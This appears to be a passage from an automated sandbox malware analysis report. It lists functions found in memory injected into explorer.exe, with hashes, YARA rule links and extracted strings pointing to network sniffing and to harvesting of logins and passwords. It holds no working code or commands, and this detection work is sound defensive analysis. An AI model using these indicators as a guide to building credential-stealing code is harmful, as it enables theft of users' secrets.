                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $Snif$f fr$om:
                                                                                                                                                                                                            • API String ID: 0-3434893486
                                                                                                                                                                                                            • Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                                            • Instruction ID: 90785b0953e35fa43afcab2e805a32ba8c1ed2b8fc2a22c90e5073e6c0648206
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FF31E47150DB885FD71AEB28C4846DAB7D4FB98300F504D1EE49BC7251EE30A949CB47
                                                                                                                                                                                                            Function 0E9EF0B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $Snif$f fr$om:
                                                                                                                                                                                                            • API String ID: 0-3434893486
                                                                                                                                                                                                            • Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                                            • Instruction ID: da9dc6acf0680ca08ade82b80cf24ffba2e8b672e1b443adfe2712d924a2ed34
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B231BE71518B88AFD71AEB28C4846DAB7D4FBD4300F504D1EE5ABC7251EA34A94ACF42
                                                                                                                                                                                                            Function 0EADA0C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $Snif$f fr$om:
                                                                                                                                                                                                            • API String ID: 0-3434893486
                                                                                                                                                                                                            • Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                                            • Instruction ID: 60d0a01eb19061efb4880bc7ded8f425cf4e0793a0b120e4d2db68575eb5b4f3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7D31B27151CB486FD719EB28C484AEAB7D4FB98300F504D1EE4ABC7255EE30E94ACA47
                                                                                                                                                                                                            Function 0E9EF0C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $Snif$f fr$om:
                                                                                                                                                                                                            • API String ID: 0-3434893486
                                                                                                                                                                                                            • Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                                            • Instruction ID: a355470c1f462d100aa1162d259a2d84cf5fff3201f89e2d32651c2112c22670
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E431BE71518B48AFD71AEB28C4846EAB7D4FBD4300F504D2EE5ABC7351EA34A946CF42
                                                                                                                                                                                                            Function 0EAD5FC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                                            • API String ID: 0-3136806129
                                                                                                                                                                                                            • Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                                            • Instruction ID: eeef1ccf9318a2ec246080f07ced318a75ba06f72640d845010bbbc4c3c8d375
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E0316D7021CB488FC785EF688494BAAB7E1FBD8200F854A6D984BCB255DF30DD49C75A
                                                                                                                                                                                                            Function 0E9EAFC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                                            • API String ID: 0-3136806129
                                                                                                                                                                                                            • Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                                            • Instruction ID: 798ddc3ac25249933494db2500d34e6f6ccd70847a6c7d375d6c0283b7cd09f6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB31AD70218B088FCB95EF288094BAAB7E1FBD8300F945A6D955ECB315DF30C905CB82
                                                                                                                                                                                                            Function 0EAD5FBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                                            • API String ID: 0-3136806129
                                                                                                                                                                                                            • Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                                            • Instruction ID: 923ccedb33c5548f1bae21057f6697c872b5849f1f6461c271ea91ba67457a64
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7F315C7021CB488FC795EF688494BAAB7E1FBD8200F854A6D984BCB255DF30CD49C75A
                                                                                                                                                                                                            Function 0E9EAFBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                                            • API String ID: 0-3136806129
                                                                                                                                                                                                            • Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                                            • Instruction ID: 52b8b6970a7d0e5476813566290e357f0d7080c7d1b7335c12c861608eeef2f4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C0319E70218B088FC795EF688494BAAB7E1FBD8300F945A6DD55ACB355DF30C901CB82
                                                                                                                                                                                                            Function 0EAD88C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 0-319646191
                                                                                                                                                                                                            • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction ID: d35a6a2b8bac76272066deff92c71ac13bcc9e800f27a4f1b865aef7c44e6d02
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2431A271614A0C8FCB44EFA8C8847EEB7E1FF5C215F41462AD45FD7240DE788A498799
                                                                                                                                                                                                            Function 0E9ED8C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 0-319646191
                                                                                                                                                                                                            • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction ID: 405ee143e9d0beb6ba5d1cb0384b342a3efba9d4852f3689287f883ee2fbf80d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DA31E171614A0D8FCB05EFA8C8847EEBBE0FF98204F40462AD55ED7240DF788A45CB89
                                                                                                                                                                                                            Function 0EAD88BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 0-319646191
                                                                                                                                                                                                            • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction ID: 4ea2f32f3fcae2d2b0a4ab6856e879f47f993ce3c06b096dcdd5493cbebaaec6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FC219370A18A4C8ECB05EFA8C8847EE7BE1FF5C205F41461AD45BD7250DE748A498799
                                                                                                                                                                                                            Function 0E9ED8BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 0-319646191
                                                                                                                                                                                                            • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction ID: 86cd46c02426710c153ffb3f762d49a620ba9451625eaff336e1aa6810553294
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F921E670610A0D8BCB05EFA8C8447EE7BE4FF98204F40462AD55AD7250DF788A45CB89
                                                                                                                                                                                                            Function 0EAD9E94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$l$l$t
                                                                                                                                                                                                            • API String ID: 0-168566397
                                                                                                                                                                                                            • Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                                            • Instruction ID: 6e3b9278c87b13c47c5c867646d309b862f537127463c9ef2219f1b82fb78ae0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1E215A74A28A0D9FDB08EFA8D0447EABBF1FF5C304F504A2ED44AD7600DB7499558B88
                                                                                                                                                                                                            Function 0EAD9E92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$l$l$t
                                                                                                                                                                                                            • API String ID: 0-168566397
                                                                                                                                                                                                            • Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                                            • Instruction ID: 8fa4cd35add9d24fec49a46ab7c87ec6da457f39ef287db212471b07a395c185
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CA217C74A28A0D9FDB04EFA8D0447AEBAF0FF5C304F504A2ED44AD3610DB7499558B88
                                                                                                                                                                                                            Function 0E9EEE94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$l$l$t
                                                                                                                                                                                                            • API String ID: 0-168566397
                                                                                                                                                                                                            • Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                                            • Instruction ID: 5b9b330a335e88c0670a02f41fda28ece595b8d3da541ac416e32e2ecd3e1dc2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3B215A74A24A0D9BDB48EFA8D0447EEBBF1FB98304F504A2ED119D3610DB7999918B84
                                                                                                                                                                                                            Function 0E9EEE92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$l$l$t
                                                                                                                                                                                                            • API String ID: 0-168566397
                                                                                                                                                                                                            • Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                                            • Instruction ID: 59a282750a891b7f5a478401dfb27cf25d8af513a47f4b21292dae723a834289
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 17215C74A24B0D9BDB48EFA8D0447AEBAF1FF98304F504A2ED119D3610DB799991CB84
                                                                                                                                                                                                            Function 0EAD9FF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: auth$logi$pass$user
                                                                                                                                                                                                            • API String ID: 0-2393853802
                                                                                                                                                                                                            • Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                                            • Instruction ID: abbde4998949942dc0f94180686e83ec5922ae267b00c7571ef57c4cc24e6eae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3721C030618B0D8BCB05DF9998906EEB7F1EF88344F044619D80BDB244D7B0DD188BC6
                                                                                                                                                                                                            Function 0E9EEFF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: auth$logi$pass$user
                                                                                                                                                                                                            • API String ID: 0-2393853802
                                                                                                                                                                                                            • Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                                            • Instruction ID: 47d20e474e7aaf387d765aced393fec465b950ce2de0143a7f3048d1af5ef61f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3321CD70624B0D8BCB05DF9998906EEB7F1EFC8344F004A2AE50AEB344D7B4D9148BD2